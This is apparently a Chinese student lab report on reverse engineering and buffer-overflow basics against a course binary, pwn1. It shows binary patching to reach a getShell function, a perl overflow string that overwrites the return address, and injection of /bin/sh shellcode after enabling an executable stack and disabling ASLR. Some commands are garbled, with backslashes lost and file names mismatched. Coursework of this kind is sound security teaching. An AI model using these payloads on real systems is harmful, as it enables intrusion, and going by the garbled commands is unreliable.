zoukankan      html  css  js  c++  java
  • Exp1 逆向与bof基础

    20155332《网络对抗》Exp1 逆向与bof基础

    1.实验目的

    本次实践的对象是一个名为pwn1的linux可执行文件。
    该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

    该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

    2.实验内容

    三个实践内容如下:

    • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
    • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
    • 注入一个自己制作的shellcode并运行这段shellcode。

    这几种思路,基本代表现实情况中的攻击目标:

    • 运行原本不可访问的代码片段
    • 强行修改程序执行流
    • 以及注入运行任意代码。

    3.准备工作

    3.1安装更新

    系统升级实际上是一个软件包的删除与重装过程,在更新的过程中,apt-get会自动删除旧的软件包,以此在系统升级时务必更新软件包的索引文件.

    在升级系统升级过程中,原有的系统内核软件会保留在系统中,以便系统升级过程中在使用新的系统内核引导系统出现异常时,使得我们能使用旧的内核继续引导系统。

    • 1、更新软件包索引文件

    sudo apt-get install update

    • 2、更新系统

    sudo apt-get update

    • 3.安装更新。

    sudo apt-get upgrade

    3.2.安装32位运行库

    • 1.解决资源不可用问题

    无法获得锁 /var/lib/dpkg/lock - open (11: 资源暂时不可用)

    无法锁定管理目录(/var/lib/dpkg/),是否有其他进程正占用它?

    输入命令

    sudo rm /var/cache/apt/archives/lock
    sudo rm /var/lib/dpkg/lock
    
    
    • 2.下载lib32ncurses5库

    apt-get install lib32ncurses5

    • 3.运行程序

    ./pwn20155332

    4实验过程

    4.1直接修改程序机器指令,改变程序执行流程

    4.1.1 指导思想

    我们通过修改main函数中的call指令,使得原本执行foo函数的程序转而去执行getShell函数。
    分为两步:

    • 第一,通过反汇编,找到getshell函数的位置;
    • 第二,修改main函数里面call指令的参数,把foo函数的地址改为getshell函数,从而让程序调用getshell函数

    4.1.2 具体实践

    1.反汇编可执行 文件pwn20155332,输入指令objdump -d pwn20155332

    2.分析代码
    我们发现,在main函数中,按照正常流程,call指令会调用foo函数,e8是call指令的机器码,后面跟着四字节的偏移量ff ff ff d7(小端序,补码)。这里的偏移量是怎么求的呢?

    call指令在执行时,会EIP当前的值,也就是下一条指令的地址——0x080484ba压栈,然后修改寄存器EIP,EIP+偏移量= 0x080484b + 0xffffffd7 = 0x08048491(32位的有符号数运算),将EIP指向foo函数的起始地址。
    我们需要修改call指令的偏移量,根据“目的地址=EIP(call的下一条指令的地址)+偏移量”,新的偏移量 = 0x0804847d(getShell函数的起始地址) - 0x080484ba = 0xffffffc3(补码运算)

    3.修改程序
    接着用十六进制编辑器,或者vim来修改目标程序即可。这里使用vim,输入:%!xxd进入十六进制模式,修改偏移量,把e8d7改为e8c3即可。

    4.验证结果

    objdump -d pwn20155332

    080484af <main>:
     80484af:	55                   	push   %ebp
     80484b0:	89 e5                	mov    %esp,%ebp
     80484b2:	83 e4 f0             	and    $0xfffffff0,%esp
     80484b5:	e8 c3 ff ff ff       	call   804847d <getShell>
     80484ba:	b8 00 00 00 00       	mov    $0x0,%eax
     80484bf:	c9                   	leave  
     80484c0:	c3                   	ret    
     80484c1:	66 90                	xchg   %ax,%ax
     80484c3:	66 90                	xchg   %ax,%ax
     80484c5:	66 90                	xchg   %ax,%ax
     80484c7:	66 90                	xchg   %ax,%ax
     80484c9:	66 90                	xchg   %ax,%ax
     80484cb:	66 90                	xchg   %ax,%ax
     80484cd:	66 90                	xchg   %ax,%ax
     80484cf:	90                   	nop
    
    

    我们发现5行80484b5: e8 c3 ff ff ff call 804847d <getShell>和原来调用的函数不一样了。执行后结果也不一样了。

    4.2通过构造输入参数,造成BOF攻击,改变程序执行流程

    4.1.1 指导思想

    1.输入足够长的一个字符串,用来确定新地址在字符串中的位置
    2.计算新地址的值,并用这个值覆盖旧地址。

    4.1.2 具体实现

    • 1.运行程序

    ./pwn20155332

    • 2.用gdb工具调试

    • 3.构造输入字符串

    perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > input

    • 4.然后将input的输入,通过管道符“|”,作为pwn20155332的输入。

    (cat input; cat) | ./pwn1

    • 5.可以发现此时已经获取shell权限。

    5.注入Shellcode并执行

    • 1.修改设置
    execstack -s pwn1    //设置堆栈可执行
    execstack -q pwn1    //查询文件的堆栈是否可执行
    echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
    more /proc/sys/kernel/randomize_va_space //确认已经关闭
    
    

    • 2.构造要注入的payload。
    (printf "%032x"; printf "x4x3x2x1x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00") > input_shellcode,把这段字符串先存到文本文件input_shellcode中。
    

    • 3.进入gdb调试,确定覆盖RET地址的值

    • 4.在foo函数的RET设置断点

    • 5.运行程序,在断点处暂停,查看栈的情况

    (cat input_shellcode;cat) | ./pwn1

    打开二号终端

    • 4.找到pwn20155332的进程号
    ps -ef | grep 20155332 //找到pwn20155332的进程号是:2600
    
    • 5.进入gdb调试

    attach 2600

    disassemble foo

    break *0x080484ae

    • 6 修改地址
      NOP垫的开始地址是0xffffd2fc,修改x4x3x2x1x00xd3xffxff
    • 7攻击
      输入(cat RNS; cat) | ./20155332,在按下回车键:

    进入了shell终端,实验成功。

  • 相关阅读:
    个人作业——软件工程实践总结&个人技术博客
    个人作业——软件评测
    结对第二次作业——某次疫情统计可视化的实现
    结对第一次—疫情统计可视化(原型设计)
    软工实践寒假作业(2/2)
    软工实践寒假作业(1/2)
    C#MD5判断文件是否修改
    Socket抓包工具WireShark使用
    C#窗体最大化最小化等比例缩放
    QMessageBox
  • 原文地址:https://www.cnblogs.com/besti2015/p/8527707.html
Copyright © 2011-2022 走看看